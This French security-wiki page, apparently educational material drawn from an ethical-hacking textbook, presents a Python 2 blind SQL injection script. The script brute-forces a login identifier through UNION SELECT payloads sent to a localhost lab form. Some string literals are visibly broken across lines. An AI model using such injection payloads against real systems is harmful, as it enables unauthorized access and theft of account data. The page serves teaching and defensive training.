Identifiant.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Note : Cette page s'inspire d'exemples de l'ouvrage Sécurité informatique — Ethical Hacking (ACISSI, ENI Éditions). Reproduit à titre pédagogique ; droits réservés aux auteurs et à l'éditeur (art. L122-4 CPI).
Fiche express
Domaine Sécurité — injection SQL
Technique Blind SQL injection
Cible Formulaire d'authentification (exemple)

Script Python de blind SQL injection déterminant caractère par caractère un identifiant de 4 caractères via des requêtes UNION SELECT. Fourni à titre pédagogique. Les valeurs (hôte, page, identifiants) sont des exemples de laboratoire.

#!/usr/bin/python
#-*- coding:utf-8 -*-

# script de blind injection
# détermination d'un identifiant de 4 caractères

import  httplib, urllib

site = "localhost"                  # adresse du site à attaquer
port = 80                    # port du site à attaquer
page = "/eni/identification.php"    # page à appeler
carac = "abcdefghijklmnopqrstuvwxyz"
login=''
for n in range(1,5):
   # recherche du caractère
   for c in range(0,27):
          # formation de la chaine à injecter
          injection="' UNION SELECT nom, prenom FROM utilisateurs 
WHERE LENGTH(identifiant)=4 AND SUBSTRING(identifiant,1,"+str(n)
+")='"+login+carac[c:c+1]+"'#"
          # affiche l'injection
          print injection
          # encodage des champs du formulaire à envoyer
          parametres =
urllib.urlencode({'identif':'koreth','mdp':injection,'ref':'identi
fication','valider':'Valider'})
          # formation de l'entête
          headers = {"Content-type":"application/x-www-form-
urlencoded","Accept":"text/plain"}
          # connexion au serveur web
          conn = httplib.HTTPConnection(site+":"+str(port))
          # envoi du POST du formulaire
          conn.request("POST",page,parametres,headers)
          # lecture de la réponse
          rep = conn.getresponse()
          # lecture de la page de retour
          page_retour = rep.read()
          # vérification si la requête renvoie un enregistrement
          if 'Vérifiez' in page_retour:
                login=login+carac[c:c+1]
                break
print "Le login est : "+login
conn.close()

Voir aussi